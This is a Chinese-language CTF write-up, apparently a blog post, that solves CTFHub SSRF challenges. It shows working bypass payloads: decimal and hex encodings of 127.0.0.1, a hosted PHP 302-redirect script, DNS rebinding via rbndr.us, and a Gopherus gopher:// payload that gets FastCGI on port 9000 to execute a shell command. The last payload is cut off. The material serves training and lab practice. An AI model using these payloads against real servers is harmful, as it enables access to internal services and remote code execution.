数字IP bypass
数字IP是指将IP地址中的每个数字都转换为一个十进制数的形式,例如将192.168.0.1转换为十进制数 3232235521。
IP地址是用于标识网络上设备的唯一地址,它由32位二进制数表示,通常使用点分十进制表示法来呈现,其中每个点分隔符表示8位二进制数。例如,IP地址192.168.0.1表示为二进制数11000000.10101000.00000000.00000001。
为了方便记忆和使用,人们通常使用点分十进制表示法来表示IP地址。但是,在某些情况下,例如在计算机网络中进行编程时,使用数字IP表示法可能更方便,因为它可以方便地进行比较和计算。
需要注意的是,数字IP表示法并不是标准的IP地址表示法,它只是一种方便的表示方法。在实际使用中,应该使用标准的点分十进制表示法来表示IP地址。
这是通过将每个点分隔符之间的数字转换为十进制数,并将它们组合成一个32位的二进制数得出的。具体来说,将127转换为十进制数,得到127;将0转换为十进制数,得到0;将0转换为十进制数,得到0;将1转换为十进制数,得到1。然后将这四个数字组合成一个32位的二进制数,得到01111111 00000000 00000000 00000001。将这个二进制数转换为十进制数,得到2130706433。
127.0.0.1的数字IP为2130706433,127.0.0.1的十六进制表示方式为0x7f000001。
因此
代码语言:javascript复制# 方法1
http://challenge-ee2cb11374050efc.sandbox.ctfhub.com:10800/?url=2130706433/flag.php
# 方法2
http://challenge-ee2cb11374050efc.sandbox.ctfhub.com:10800/?url=0x7f000001/flag.php
# 方法3
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=localhost/flag.php
302跳转 bypass
在SSRF攻击中,使用302跳转可以绕过对IP地址的检测,从而访问本地主机上的资源
写一个php脚本,访问的时候重定向到127.0.0.1/flag.php可以绕过服务端的过滤,然后将其托管到服务器上
代码语言:javascript复制<?php
// 设置HTTP状态码为302
http_response_code(302);
// 设置跳转目标URL为127.0.0.1
$target_url = "http://127.0.0.1/flag.php";
// 设置Location头部信息
header("Location: $target_url");
// 终止脚本继续执行
exit();
?>
使用下面两种方式可以得到flag
代码语言:javascript复制# 方法1
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=localhost/flag.php
# 方法2,url为托管的脚本的url
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=http://ctf.tsuk1.cn/302.php
DNS重绑定 bypass
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的,不会受到同源策略的限制(对于DNS Rebinding来说是没有作用的。因为同源策略看的是域名,并不是背后的IP地址,虽然两次的请求IP地址不同,但是由于DNS服务器的绑定,域名都是一样的,那么自然不违反同源策略。)。 这就是DNS Rebinding攻击
到https://lock.cmpxchg8b.com/rebinder.html网站获取url,可以让一个域名随机的绑定两个IP
代码语言:javascript复制ping 7f000001.c0a80001.rbndr.us
正在 Ping 7f000001.c0a80001.rbndr.us [192.168.0.1] 具有 32 字节的数据:
ping 7f000001.c0a80001.rbndr.us
正在 Ping 7f000001.c0a80001.rbndr.us [127.0.0.1] 具有 32 字节的数据:
代码语言:javascript复制http://challenge-41efc0587c7ead71.sandbox.ctfhub.com:10800/?url=7f000001.c0a80001.rbndr.us/flag.php
FastCGI协议
FastCGI协议是一种用于Web服务器和应用程序之间通信的协议,它是为了解决传统CGI处理效率低下的问题而出现的。与传统的CGI方式相比,FastCGI协议具有更高的性能和更好的可扩展性,因此在现代Web应用程序中被广泛使用。
在FastCGI架构中,应用程序通过一个FastCGI进程管理器来与Web服务器进行通信。进程管理器会启动多个FastCGI进程,这些进程可以同时处理多个请求,从而提高Web应用程序的性能。当Web服务器需要处理一个请求时,它会向FastCGI进程管理器发送一个请求,进程管理器会将请求分配给一个空闲的FastCGI进程进行处理,并将处理结果返回给Web服务器。
Gopherus 是用来专门生成 gopher 协议的 payload 工具,通过 gopher 协议的特点和各种被攻击应用的 tcp 包特点来构造 payload。下载地址https://github.com/tarunkant/Gopherus
其支持生成SSRF的payload的应用有:
- MySQL (Port:3306)
- FastCGI (Port:9000)
- Memcached (Port:11211)
- Redis (Port:6379)
- Zabbix (Port:10050)
- SMTP (Port:25)
使用下面的命令构造payload
代码语言:javascript复制python2 gopherus.py --exploit fastcgi
输入存在的文件/var/www/html/index.php,输入shell命令为ls,生成payload
代码语言:javascript复制gopher://127.0.0.1:9000/_ SERVER_SOFTWAREgo / fcgiclient REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH54REQUEST_METHODPOST KPHP_VALUEallow_url_include = On
disable_functions =
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/index.php
DOCUMENT_ROOT/ 6